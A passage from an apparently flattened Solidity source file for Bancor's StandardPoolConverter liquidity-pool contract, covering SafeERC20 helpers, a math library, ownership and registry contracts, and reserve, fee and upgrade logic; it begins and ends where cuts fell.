* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: solidity/contracts/converter/ConverterVersion.sol
pragma solidity 0.6.12;
contract ConverterVersion {
uint16 public constant version = 46;
}
// File: solidity/contracts/utility/interfaces/IOwned.sol
pragma solidity 0.6.12;
/*
Owned contract interface
*/
interface IOwned {
// this function isn't since the compiler emits automatically generated getter functions as external
function owner() external view returns (address);
function transferOwnership(address _newOwner) external;
function acceptOwnership() external;
}
// File: solidity/contracts/converter/interfaces/IConverterAnchor.sol
pragma solidity 0.6.12;
/*
Converter Anchor interface
*/
interface IConverterAnchor is IOwned {
}
// File: solidity/contracts/converter/interfaces/IConverter.sol
pragma solidity 0.6.12;
/*
Converter interface
*/
interface IConverter is IOwned {
function converterType() external pure returns (uint16);
function anchor() external view returns (IConverterAnchor);
function isActive() external view returns (bool);
function targetAmountAndFee(
IERC20 _sourceToken,
IERC20 _targetToken,
uint256 _amount
) external view returns (uint256, uint256);
function convert(
IERC20 _sourceToken,
IERC20 _targetToken,
uint256 _amount,
address _trader,
address payable _beneficiary
) external payable returns (uint256);
function conversionFee() external view returns (uint32);
function maxConversionFee() external view returns (uint32);
function reserveBalance(IERC20 _reserveToken) external view returns (uint256);
receive() external payable;
function transferAnchorOwnership(address _newOwner) external;
function acceptAnchorOwnership() external;
function setConversionFee(uint32 _conversionFee) external;
function addReserve(IERC20 _token, uint32 _weight) external;
function transferReservesOnUpgrade(address _newConverter) external;
function onUpgradeComplete() external;
// deprecated, backward compatibility
function token() external view returns (IConverterAnchor);
function transferTokenOwnership(address _newOwner) external;
function acceptTokenOwnership() external;
function connectors(IERC20 _address)
external
view
returns (
uint256,
uint32,
bool,
bool,
bool
);
function getConnectorBalance(IERC20 _connectorToken) external view returns (uint256);
function connectorTokens(uint256 _index) external view returns (IERC20);
function connectorTokenCount() external view returns (uint16);
/**
* @dev triggered when the converter is activated
*
* @param _type converter type
* @param _anchor converter anchor
* @param _activated true if the converter was activated, false if it was deactivated
*/
event Activation(uint16 indexed _type, IConverterAnchor indexed _anchor, bool indexed _activated);
/**
* @dev triggered when a conversion between two tokens occurs
*
* @param _fromToken source ERC20 token
* @param _toToken target ERC20 token
* @param _trader wallet that initiated the trade
* @param _amount input amount in units of the source token
* @param _return output amount minus conversion fee in units of the target token
* @param _conversionFee conversion fee in units of the target token
*/
event Conversion(
IERC20 indexed _fromToken,
IERC20 indexed _toToken,
address indexed _trader,
uint256 _amount,
uint256 _return,
int256 _conversionFee
);
/**
* @dev triggered when the rate between two tokens in the converter changes
* note that the event might be dispatched for rate updates between any two tokens in the converter
*
* @param _token1 address of the first token
* @param _token2 address of the second token
* @param _rateN rate of 1 unit of `_token1` in `_token2` (numerator)
* @param _rateD rate of 1 unit of `_token1` in `_token2` (denominator)
*/
event TokenRateUpdate(IERC20 indexed _token1, IERC20 indexed _token2, uint256 _rateN, uint256 _rateD);
/**
* @dev triggered when the conversion fee is updated
*
* @param _prevFee previous fee percentage, represented in ppm
* @param _newFee new fee percentage, represented in ppm
*/
event ConversionFeeUpdate(uint32 _prevFee, uint32 _newFee);
}
// File: solidity/contracts/converter/interfaces/IConverterUpgrader.sol
pragma solidity 0.6.12;
/*
Converter Upgrader interface
*/
interface IConverterUpgrader {
function upgrade(bytes32 _version) external;
function upgrade(uint16 _version) external;
}
// File: solidity/contracts/utility/interfaces/ITokenHolder.sol
pragma solidity 0.6.12;
/*
Token Holder interface
*/
interface ITokenHolder is IOwned {
receive() external payable;
function withdrawTokens(
IERC20 token,
address payable to,
uint256 amount
) external;
function withdrawTokensMultiple(
IERC20[] calldata tokens,
address payable to,
uint256[] calldata amounts
) external;
}
// File: solidity/contracts/INetworkSettings.sol
pragma solidity 0.6.12;
interface INetworkSettings {
function networkFeeParams() external view returns (ITokenHolder, uint32);
function networkFeeWallet() external view returns (ITokenHolder);
function networkFee() external view returns (uint32);
}
// File: solidity/contracts/token/interfaces/IDSToken.sol
pragma solidity 0.6.12;
/*
DSToken interface
*/
interface IDSToken is IConverterAnchor, IERC20 {
function issue(address _to, uint256 _amount) external;
function destroy(address _from, uint256 _amount) external;
}
// File: solidity/contracts/utility/MathEx.sol
pragma solidity 0.6.12;
/**
* @dev This library provides a set of complex math operations.
*/
library MathEx {
uint256 private constant MAX_EXP_BIT_LEN = 4;
uint256 private constant MAX_EXP = 2**MAX_EXP_BIT_LEN - 1;
uint256 private constant MAX_UINT128 = 2**128 - 1;
/**
* @dev returns the largest integer smaller than or equal to the square root of a positive integer
*
* @param _num a positive integer
*
* @return the largest integer smaller than or equal to the square root of the positive integer
*/
function floorSqrt(uint256 _num) internal pure returns (uint256) {
uint256 x = _num / 2 + 1;
uint256 y = (x + _num / x) / 2;
while (x > y) {
x = y;
y = (x + _num / x) / 2;
}
return x;
}
/**
* @dev returns the smallest integer larger than or equal to the square root of a positive integer
*
* @param _num a positive integer
*
* @return the smallest integer larger than or equal to the square root of the positive integer
*/
function ceilSqrt(uint256 _num) internal pure returns (uint256) {
uint256 x = floorSqrt(_num);
return x * x == _num ? x : x + 1;
}
/**
* @dev computes a powered ratio
*
* @param _n ratio numerator
* @param _d ratio denominator
* @param _exp ratio exponent
*
* @return powered ratio's numerator and denominator
*/
function poweredRatio(
uint256 _n,
uint256 _d,
uint256 _exp
) internal pure returns (uint256, uint256) {
require(_exp <= MAX_EXP, "ERR_EXP_TOO_LARGE");
uint256[MAX_EXP_BIT_LEN] memory ns;
uint256[MAX_EXP_BIT_LEN] memory ds;
(ns[0], ds[0]) = reducedRatio(_n, _d, MAX_UINT128);
for (uint256 i = 0; (_exp >> i) > 1; i++) {
(ns[i + 1], ds[i + 1]) = reducedRatio(ns[i] ** 2, ds[i] ** 2, MAX_UINT128);
}
uint256 n = 1;
uint256 d = 1;
for (uint256 i = 0; (_exp >> i) > 0; i++) {
if (((_exp >> i) & 1) > 0) {
(n, d) = reducedRatio(n * ns[i], d * ds[i], MAX_UINT128);
}
}
return (n, d);
}
/**
* @dev computes a reduced-scalar ratio
*
* @param _n ratio numerator
* @param _d ratio denominator
* @param _max maximum desired scalar
*
* @return ratio's numerator and denominator
*/
function reducedRatio(
uint256 _n,
uint256 _d,
uint256 _max
) internal pure returns (uint256, uint256) {
(uint256 n, uint256 d) = (_n, _d);
if (n > _max || d > _max) {
(n, d) = normalizedRatio(n, d, _max);
}
if (n != d) {
return (n, d);
}
return (1, 1);
}
/**
* @dev computes "scale * a / (a + b)" and "scale * b / (a + b)".
*/
function normalizedRatio(
uint256 _a,
uint256 _b,
uint256 _scale
) internal pure returns (uint256, uint256) {
if (_a <= _b) {
return accurateRatio(_a, _b, _scale);
}
(uint256 y, uint256 x) = accurateRatio(_b, _a, _scale);
return (x, y);
}
/**
* @dev computes "scale * a / (a + b)" and "scale * b / (a + b)", assuming that "a <= b".
*/
function accurateRatio(
uint256 _a,
uint256 _b,
uint256 _scale
) internal pure returns (uint256, uint256) {
uint256 maxVal = uint256(-1) / _scale;
if (_a > maxVal) {
uint256 c = _a / (maxVal + 1) + 1;
_a /= c; // we can now safely compute `_a * _scale`
_b /= c;
}
if (_a != _b) {
uint256 n = _a * _scale;
uint256 d = _a + _b; // can overflow
if (d >= _a) {
// no overflow in `_a + _b`
uint256 x = roundDiv(n, d); // we can now safely compute `_scale - x`
uint256 y = _scale - x;
return (x, y);
}
if (n < _b - (_b - _a) / 2) {
return (0, _scale); // `_a * _scale < (_a + _b) / 2 < MAX_UINT256 < _a + _b`
}
return (1, _scale - 1); // `(_a + _b) / 2 < _a * _scale < MAX_UINT256 < _a + _b`
}
return (_scale / 2, _scale / 2); // allow reduction to `(1, 1)` in the calling function
}
/**
* @dev computes the nearest integer to a given quotient without overflowing or underflowing.
*/
function roundDiv(uint256 _n, uint256 _d) internal pure returns (uint256) {
return _n / _d + (_n % _d) / (_d - _d / 2);
}
/**
* @dev returns the average number of decimal digits in a given list of positive integers
*
* @param _values list of positive integers
*
* @return the average number of decimal digits in the given list of positive integers
*/
function geometricMean(uint256[] memory _values) internal pure returns (uint256) {
uint256 numOfDigits = 0;
uint256 length = _values.length;
for (uint256 i = 0; i < length; i++) {
numOfDigits += decimalLength(_values[i]);
}
return uint256(10)**(roundDivUnsafe(numOfDigits, length) - 1);
}
/**
* @dev returns the number of decimal digits in a given positive integer
*
* @param _x positive integer
*
* @return the number of decimal digits in the given positive integer
*/
function decimalLength(uint256 _x) internal pure returns (uint256) {
uint256 y = 0;
for (uint256 x = _x; x > 0; x /= 10) {
y++;
}
return y;
}
/**
* @dev returns the nearest integer to a given quotient
* the computation is overflow-safe assuming that the input is sufficiently small
*
* @param _n quotient numerator
* @param _d quotient denominator
*
* @return the nearest integer to the given quotient
*/
function roundDivUnsafe(uint256 _n, uint256 _d) internal pure returns (uint256) {
return (_n + _d / 2) / _d;
}
/**
* @dev returns the larger of two values
*
* @param _val1 the first value
* @param _val2 the second value
*/
function max(uint256 _val1, uint256 _val2) internal pure returns (uint256) {
return _val1 > _val2 ? _val1 : _val2;
}
}
// File: solidity/contracts/utility/Owned.sol
pragma solidity 0.6.12;
/**
* @dev This contract provides support and utilities for contract ownership.
*/
contract Owned is IOwned {
address public override owner;
address public newOwner;
/**
* @dev triggered when the owner is updated
*
* @param _prevOwner previous owner
* @param _newOwner new owner
*/
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev initializes a new Owned instance
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
_ownerOnly();
_;
}
// error message binary size optimization
function _ownerOnly() internal view {
require(msg.sender == owner, "ERR_ACCESS_DENIED");
}
/**
* @dev allows transferring the contract ownership
* the new owner still needs to accept the transfer
* can only be called by the contract owner
*
* @param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public override ownerOnly {
require(_newOwner != owner, "ERR_SAME_OWNER");
newOwner = _newOwner;
}
/**
* @dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public override {
require(msg.sender == newOwner, "ERR_ACCESS_DENIED");
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// File: solidity/contracts/utility/Utils.sol
pragma solidity 0.6.12;
/**
* @dev Utilities & Common Modifiers
*/
contract Utils {
uint32 internal constant PPM_RESOLUTION = 1000000;
IERC20 internal constant NATIVE_TOKEN_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
// verifies that a value is greater than zero
modifier greaterThanZero(uint256 _value) {
_greaterThanZero(_value);
_;
}
// error message binary size optimization
function _greaterThanZero(uint256 _value) internal pure {
require(_value > 0, "ERR_ZERO_VALUE");
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
_validAddress(_address);
_;
}
// error message binary size optimization
function _validAddress(address _address) internal pure {
require(_address != address(0), "ERR_INVALID_ADDRESS");
}
// ensures that the portion is valid
modifier validPortion(uint32 _portion) {
_validPortion(_portion);
_;
}
// error message binary size optimization
function _validPortion(uint32 _portion) internal pure {
require(_portion > 0 && _portion <= PPM_RESOLUTION, "ERR_INVALID_PORTION");
}
// validates an external address - currently only checks that it isn't null or this
modifier validExternalAddress(address _address) {
_validExternalAddress(_address);
_;
}
// error message binary size optimization
function _validExternalAddress(address _address) internal view {
require(_address != address(0) && _address != address(this), "ERR_INVALID_EXTERNAL_ADDRESS");
}
// ensures that the fee is valid
modifier validFee(uint32 fee) {
_validFee(fee);
_;
}
// error message binary size optimization
function _validFee(uint32 fee) internal pure {
require(fee <= PPM_RESOLUTION, "ERR_INVALID_FEE");
}
}
// File: solidity/contracts/utility/interfaces/IContractRegistry.sol
pragma solidity 0.6.12;
/*
Contract Registry interface
*/
interface IContractRegistry {
function addressOf(bytes32 _contractName) external view returns (address);
}
// File: solidity/contracts/utility/ContractRegistryClient.sol
pragma solidity 0.6.12;
/**
* @dev This is the base contract for ContractRegistry clients.
*/
contract ContractRegistryClient is Owned, Utils {
bytes32 internal constant CONTRACT_REGISTRY = "ContractRegistry";
bytes32 internal constant BANCOR_NETWORK = "BancorNetwork";
bytes32 internal constant BANCOR_FORMULA = "BancorFormula";
bytes32 internal constant CONVERTER_FACTORY = "ConverterFactory";
bytes32 internal constant CONVERSION_PATH_FINDER = "ConversionPathFinder";
bytes32 internal constant CONVERTER_UPGRADER = "BancorConverterUpgrader";
bytes32 internal constant CONVERTER_REGISTRY = "BancorConverterRegistry";
bytes32 internal constant CONVERTER_REGISTRY_DATA = "BancorConverterRegistryData";
bytes32 internal constant BNT_TOKEN = "BNTToken";
bytes32 internal constant BANCOR_X = "BancorX";
bytes32 internal constant BANCOR_X_UPGRADER = "BancorXUpgrader";
bytes32 internal constant LIQUIDITY_PROTECTION = "LiquidityProtection";
bytes32 internal constant NETWORK_SETTINGS = "NetworkSettings";
IContractRegistry public registry; // address of the current contract-registry
IContractRegistry public prevRegistry; // address of the previous contract-registry
bool public onlyOwnerCanUpdateRegistry; // only an owner can update the contract-registry
/**
* @dev verifies that the caller is mapped to the given contract name
*
* @param _contractName contract name
*/
modifier only(bytes32 _contractName) {
_only(_contractName);
_;
}
// error message binary size optimization
function _only(bytes32 _contractName) internal view {
require(msg.sender == addressOf(_contractName), "ERR_ACCESS_DENIED");
}
/**
* @dev initializes a new ContractRegistryClient instance
*
* @param _registry address of a contract-registry contract
*/
constructor(IContractRegistry _registry) internal validAddress(address(_registry)) {
registry = IContractRegistry(_registry);
prevRegistry = IContractRegistry(_registry);
}
/**
* @dev updates to the new contract-registry
*/
function updateRegistry() public {
// verify that this function is permitted
require(msg.sender == owner || !onlyOwnerCanUpdateRegistry, "ERR_ACCESS_DENIED");
// get the new contract-registry
IContractRegistry newRegistry = IContractRegistry(addressOf(CONTRACT_REGISTRY));
// verify that the new contract-registry is different and not zero
require(newRegistry != registry && address(newRegistry) != address(0), "ERR_INVALID_REGISTRY");
// verify that the new contract-registry is pointing to a non-zero contract-registry
require(newRegistry.addressOf(CONTRACT_REGISTRY) != address(0), "ERR_INVALID_REGISTRY");
// save a backup of the current contract-registry before replacing it
prevRegistry = registry;
// replace the current contract-registry with the new contract-registry
registry = newRegistry;
}
/**
* @dev restores the previous contract-registry
*/
function restoreRegistry() public ownerOnly {
// restore the previous contract-registry
registry = prevRegistry;
}
/**
* @dev restricts the permission to update the contract-registry
*
* @param _onlyOwnerCanUpdateRegistry indicates whether or not permission is restricted to owner only
*/
function restrictRegistryUpdate(bool _onlyOwnerCanUpdateRegistry) public ownerOnly {
// change the permission to update the contract-registry
onlyOwnerCanUpdateRegistry = _onlyOwnerCanUpdateRegistry;
}
/**
* @dev returns the address associated with the given contract name
*
* @param _contractName contract name
*
* @return contract address
*/
function addressOf(bytes32 _contractName) internal view returns (address) {
return registry.addressOf(_contractName);
}
}
// File: solidity/contracts/utility/ReentrancyGuard.sol
pragma solidity 0.6.12;
/**
* @dev This contract provides protection against calling a function
* (directly or indirectly) from within itself.
*/
contract ReentrancyGuard {
uint256 private constant UNLOCKED = 1;
uint256 private constant LOCKED = 2;
// LOCKED while protected code is being executed, UNLOCKED otherwise
uint256 private state = UNLOCKED;
/**
* @dev ensures instantiation only by sub-contracts
*/
constructor() internal {}
// protects a function against reentrancy attacks
modifier protected() {
_protected();
state = LOCKED;
_;
state = UNLOCKED;
}
// error message binary size optimization
function _protected() internal view {
require(state == UNLOCKED, "ERR_REENTRANCY");
}
}
// File: solidity/contracts/utility/Time.sol
pragma solidity 0.6.12;
/*
Time implementing contract
*/
contract Time {
/**
* @dev returns the current time
*/
function time() internal view virtual returns (uint256) {
return block.timestamp;
}
}
// File: solidity/contracts/converter/types/standard-pool/StandardPoolConverter.sol
pragma solidity 0.6.12;
/**
* @dev This contract is a specialized version of the converter, which is
* optimized for a liquidity pool that has 2 reserves with 50%/50% weights.
*/
contract StandardPoolConverter is ConverterVersion, IConverter, ContractRegistryClient, ReentrancyGuard, Time {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using MathEx for *;
uint256 private constant MAX_UINT128 = 2**128 - 1;
uint256 private constant MAX_UINT112 = 2**112 - 1;
uint256 private constant MAX_UINT32 = 2**32 - 1;
uint256 private constant AVERAGE_RATE_PERIOD = 10 minutes;
uint256 private __reserveBalances;
uint256 private _reserveBalancesProduct;
IERC20[] private __reserveTokens;
mapping(IERC20 => uint256) private __reserveIds;
IConverterAnchor public override anchor; // converter anchor contract
uint32 public override maxConversionFee; // maximum conversion fee, represented in ppm, 0...1000000
uint32 public override conversionFee; // current conversion fee, represented in ppm, 0...maxConversionFee
// average rate details:
// bits 0...111 represent the numerator of the rate between reserve token 0 and reserve token 1
// bits 111...223 represent the denominator of the rate between reserve token 0 and reserve token 1
// bits 224...255 represent the update-time of the rate between reserve token 0 and reserve token 1
// where `numerator / denominator` gives the worth of one reserve token 0 in units of reserve token 1
uint256 public averageRateInfo;
/**
* @dev triggered after liquidity is added
*
* @param _provider liquidity provider
* @param _reserveToken reserve token address
* @param _amount reserve token amount
* @param _newBalance reserve token new balance
* @param _newSupply pool token new supply
*/
event LiquidityAdded(
address indexed _provider,
IERC20 indexed _reserveToken,
uint256 _amount,
uint256 _newBalance,
uint256 _newSupply
);
/**
* @dev triggered after liquidity is removed
*
* @param _provider liquidity provider
* @param _reserveToken reserve token address
* @param _amount reserve token amount
* @param _newBalance reserve token new balance
* @param _newSupply pool token new supply
*/
event LiquidityRemoved(
address indexed _provider,
IERC20 indexed _reserveToken,
uint256 _amount,
uint256 _newBalance,
uint256 _newSupply
);
/**
* @dev initializes a new StandardPoolConverter instance
*
* @param _anchor anchor governed by the converter
* @param _registry address of a contract registry contract
* @param _maxConversionFee maximum conversion fee, represented in ppm
*/
constructor(
IConverterAnchor _anchor,
IContractRegistry _registry,
uint32 _maxConversionFee
) public ContractRegistryClient(_registry) validAddress(address(_anchor)) validConversionFee(_maxConversionFee) {
anchor = _anchor;
maxConversionFee = _maxConversionFee;
}
// ensures that the converter is active
modifier active() {
_active();
_;
}
// error message binary size optimization
function _active() internal view {
require(isActive(), "ERR_INACTIVE");
}
// ensures that the converter is not active
modifier inactive() {
_inactive();
_;
}
// error message binary size optimization
function _inactive() internal view {
require(!isActive(), "ERR_ACTIVE");
}
// validates a reserve token address - verifies that the address belongs to one of the reserve tokens
modifier validReserve(IERC20 _address) {
_validReserve(_address);
_;
}
// error message binary size optimization
function _validReserve(IERC20 _address) internal view {
require(__reserveIds[_address] != 0, "ERR_INVALID_RESERVE");
}
// validates conversion fee
modifier validConversionFee(uint32 _conversionFee) {
_validConversionFee(_conversionFee);
_;
}
// error message binary size optimization
function _validConversionFee(uint32 _conversionFee) internal pure {
require(_conversionFee <= PPM_RESOLUTION, "ERR_INVALID_CONVERSION_FEE");
}
// validates reserve weight
modifier validReserveWeight(uint32 _weight) {
_validReserveWeight(_weight);
_;
}
// error message binary size optimization
function _validReserveWeight(uint32 _weight) internal pure {
require(_weight == PPM_RESOLUTION / 2, "ERR_INVALID_RESERVE_WEIGHT");
}
/**
* @dev returns the converter type
*
* @return see the converter types in the the main contract doc
*/
function converterType() public pure virtual override returns (uint16) {
return 3;
}
/**
* @dev deposits ether
* can only be called if the converter has an ETH reserve
*/
receive() external payable override(IConverter) validReserve(NATIVE_TOKEN_ADDRESS) {}
/**
* @dev checks whether or not the converter version is 28 or higher
*
* @return true, since the converter version is 28 or higher
*/
function isV28OrHigher() public pure returns (bool) {
return true;
}
/**
* @dev returns true if the converter is active, false otherwise
*
* @return true if the converter is active, false otherwise
*/
function isActive() public view virtual override returns (bool) {
return anchor.owner() == address(this);
}
/**
* @dev transfers the anchor ownership
* the new owner needs to accept the transfer
* can only be called by the converter upgrader while the upgrader is the owner
* note that prior to version 28, you should use 'transferAnchorOwnership' instead
*
* @param _newOwner new token owner
*/
function transferAnchorOwnership(address _newOwner) public override ownerOnly only(CONVERTER_UPGRADER) {
anchor.transferOwnership(_newOwner);
}
/**
* @dev accepts ownership of the anchor after an ownership transfer
* most converters are also activated as soon as they accept the anchor ownership
* can only be called by the contract owner
* note that prior to version 28, you should use 'acceptTokenOwnership' instead
*/
function acceptAnchorOwnership() public virtual override ownerOnly {
// verify the the converter has exactly two reserves
require(reserveTokenCount() == 2, "ERR_INVALID_RESERVE_COUNT");
anchor.acceptOwnership();
syncReserveBalances(0);
emit Activation(converterType(), anchor, true);
}
/**
* @dev updates the current conversion fee
* can only be called by the contract owner
*
* @param _conversionFee new conversion fee, represented in ppm
*/
function setConversionFee(uint32 _conversionFee) public override ownerOnly {
require(_conversionFee <= maxConversionFee, "ERR_INVALID_CONVERSION_FEE");
emit ConversionFeeUpdate(conversionFee, _conversionFee);
conversionFee = _conversionFee;
}
/**
* @dev transfers reserve balances to a new converter during an upgrade
* can only be called by the converter upgraded which should be set at its owner
*
* @param _newConverter address of the converter to receive the new amount
*/
function transferReservesOnUpgrade(address _newConverter)
external
override
protected
ownerOnly
only(CONVERTER_UPGRADER)
{
uint256 reserveCount = __reserveTokens.length;
for (uint256 i = 0; i < reserveCount; ++i) {
IERC20 reserveToken = __reserveTokens[i];
uint256 amount;
if (reserveToken == NATIVE_TOKEN_ADDRESS) {
amount = address(this).balance;
} else {
amount = reserveToken.balanceOf(address(this));
}
safeTransfer(reserveToken, _newConverter, amount);
syncReserveBalance(reserveToken);
}
}
/**
* @dev upgrades the converter to the latest version
* can only be called by the owner
* note that the owner needs to call acceptOwnership on the new converter after the upgrade
*/
function upgrade() public ownerOnly {
IConverterUpgrader converterUpgrader = IConverterUpgrader(addressOf(CONVERTER_UPGRADER));
// trigger de-activation event
emit Activation(converterType(), anchor, false);
transferOwnership(address(converterUpgrader));
converterUpgrader.upgrade(version);
acceptOwnership();
}
/**
* @dev executed by the upgrader at the end of the upgrade process to handle custom pool logic
*/
function onUpgradeComplete()
external
override
protected
ownerOnly
only(CONVERTER_UPGRADER)
{
(uint256 reserveBalance0, uint256 reserveBalance1) = reserveBalances(1, 2);
_reserveBalancesProduct = reserveBalance0 * reserveBalance1;
}
/**
* @dev returns the number of reserve tokens
* note that prior to version 17, you should use 'connectorTokenCount' instead
*
* @return number of reserve tokens
*/
function reserveTokenCount() public view returns (uint16) {
return uint16(__reserveTokens.length);
}
/**
* @dev returns the array of reserve tokens
*
* @return array of reserve tokens
*/
function reserveTokens() public view returns (IERC20[] memory) {
return __reserveTokens;
}
/**
* @dev defines a new reserve token for the converter
* can only be called by the owner while the converter is inactive
*
* @param _token address of the reserve token
* @param _weight reserve weight, represented in ppm, 1-1000000
*/
function addReserve(IERC20 _token, uint32 _weight)
public
virtual
override
ownerOnly
inactive
validExternalAddress(address(_token))
validReserveWeight(_weight)
{
// validate input
require(address(_token) != address(anchor) && __reserveIds[_token] == 0, "ERR_INVALID_RESERVE");
require(reserveTokenCount() < 2, "ERR_INVALID_RESERVE_COUNT");
__reserveTokens.push(_token);
__reserveIds[_token] = __reserveTokens.length;
}
/**
* @dev returns the reserve's weight
* added in version 28
*
* @param _reserveToken reserve token contract address
*
* @return reserve weight
*/
function reserveWeight(IERC20 _reserveToken) public view validReserve(_reserveToken) returns (uint32) {
return PPM_RESOLUTION / 2;
}
/**
* @dev returns the balance of a given reserve token
*
* @param _reserveToken reserve token contract address
*
* @return the balance of the given reserve token
*/
function reserveBalance(IERC20 _reserveToken) public view override returns (uint256) {
uint256 reserveId = __reserveIds[_reserveToken];
require(reserveId != 0, "ERR_INVALID_RESERVE");
return reserveBalance(reserveId);
}
/**
* @dev returns the balances of both reserve tokens
*
* @return the balances of both reserve tokens
*/
function reserveBalances() public view returns (uint256, uint256) {
return reserveBalances(1, 2);
}
/**
* @dev syncs all stored reserve balances
*/
function syncReserveBalances() external {
syncReserveBalances(0);
}
/**
* @dev calculates the accumulated network fee and transfers it to the network fee wallet
*/
function processNetworkFees() external protected {
(uint256 reserveBalance0, uint256 reserveBalance1) = processNetworkFees(0);
_reserveBalancesProduct = reserveBalance0 * reserveBalance1;
}
/**
* @dev calculates the accumulated network fee and transfers it to the network fee wallet
*
* @param _value amount of ether to exclude from the ether reserve balance (if relevant)
*
* @return new reserve balances
*/
function processNetworkFees(uint256 _value) internal returns (uint256, uint256) {
syncReserveBalances(_value);
(uint256 reserveBalance0, uint256 reserveBalance1) = reserveBalances(1, 2);
(ITokenHolder wallet, uint256 fee0, uint256 fee1) = networkWalletAndFees(reserveBalance0, reserveBalance1);
reserveBalance0 -= fee0;
reserveBalance1 -= fee1;
setReserveBalances(1, 2, reserveBalance0, reserveBalance1);
safeTransfer(__reserveTokens[0], address(wallet), fee0);
safeTransfer(__reserveTokens[1], address(wallet), fee1);
return (reserveBalance0, reserveBalance1);
}
/**
* @dev returns the reserve balances of the given reserve tokens minus their corresponding fees
*
* @param _reserveTokens reserve tokens
*
* @return reserve balances minus their corresponding fees
*/
function baseReserveBalances(IERC20[] memory _reserveTokens) internal view returns (uint256[2] memory) {
uint256 reserveId0 = __reserveIds[_reserveTokens[0]];
uint256 reserveId1 = __reserveIds[_reserveTokens[1]];
(uint256 reserveBalance0, uint256 reserveBalance1) = reserveBalances(reserveId0, reserveId1);
(, uint256 fee0, uint256 fee1) = networkWalletAndFees(reserveBalance0, reserveBalance1);
return [reserveBalance0 - fee0, reserveBalance1 - fee1];
}
/**
* @dev converts a specific amount of source tokens to target tokens
* can only be called by the bancor network contract
*
* @param _sourceToken source ERC20 token
* @param _targetToken target ERC20 token
* @param _amount amount of tokens to convert (in units of the source token)
* @param _trader address of the caller who executed the conversion
* @param _beneficiary wallet to receive the conversion result
*
* @return amount of tokens received (in units of the target token)
*/
function convert(
IERC20 _sourceToken,
IERC20 _targetToken,
uint256 _amount,
address _trader,
address payable _beneficiary
) public payable override protected only(BANCOR_NETWORK) returns (uint256) {
// validate input
require(_sourceToken != _targetToken, "ERR_SAME_SOURCE_TARGET");
return doConvert(_sourceToken, _targetToken, _amount, _trader, _beneficiary);
}
/**
* @dev returns the conversion fee for a given target amount
*
* @param _targetAmount target amount
*
* @return conversion fee
*/
function calculateFee(uint256 _targetAmount) internal view returns (uint256) {
return _targetAmount.mul(conversionFee) / PPM_RESOLUTION;
}
/**
* @dev returns the conversion fee taken from a given target amount
*
* @param _targetAmount target amount
*
* @return conversion fee
*/
function calculateFeeInv(uint256 _targetAmount) internal view returns (uint256) {
return _targetAmount.mul(conversionFee).div(PPM_RESOLUTION - conversionFee);
}
/**
* @dev loads the stored reserve balance for a given reserve id
*
* @param _reserveId reserve id
*/
function reserveBalance(uint256 _reserveId) internal view returns (uint256) {
return decodeReserveBalance(__reserveBalances, _reserveId);
}
/**
* @dev loads the stored reserve balances
*
* @param _sourceId source reserve id
* @param _targetId target reserve id
*/
function reserveBalances(uint256 _sourceId, uint256 _targetId) internal view returns (uint256, uint256) {
require((_sourceId == 1 && _targetId == 2) || (_sourceId == 2 && _targetId == 1), "ERR_INVALID_RESERVES");
return decodeReserveBalances(__reserveBalances, _sourceId, _targetId);
}
/**
* @dev stores the stored reserve balance for a given reserve id
*
* @param _reserveId reserve id
* @param _reserveBalance reserve balance
*/
function setReserveBalance(uint256 _reserveId, uint256 _reserveBalance) internal {
require(_reserveBalance <= MAX_UINT128, "ERR_RESERVE_BALANCE_OVERFLOW");
uint256 otherBalance = decodeReserveBalance(__reserveBalances, 3 - _reserveId);
__reserveBalances = encodeReserveBalances(_reserveBalance, _reserveId, otherBalance, 3 - _reserveId);
}
/**
* @dev stores the stored reserve balances
*
* @param _sourceId source reserve id
* @param _targetId target reserve id
* @param _sourceBalance source reserve balance
* @param _targetBalance target reserve balance
*/
function setReserveBalances(
uint256 _sourceId,
uint256 _targetId,
uint256 _sourceBalance,
uint256 _targetBalance
) internal {
require(_sourceBalance <= MAX_UINT128 && _targetBalance <= MAX_UINT128, "ERR_RESERVE_BALANCE_OVERFLOW");
__reserveBalances = encodeReserveBalances(_sourceBalance, _sourceId, _targetBalance, _targetId);
}
/**
* @dev syncs the stored reserve balance for a given reserve with the real reserve balance
*
* @param _reserveToken address of the reserve token
*/
function syncReserveBalance(IERC20 _reserveToken) internal {
uint256 reserveId = __reserveIds[_reserveToken];
uint256 balance =
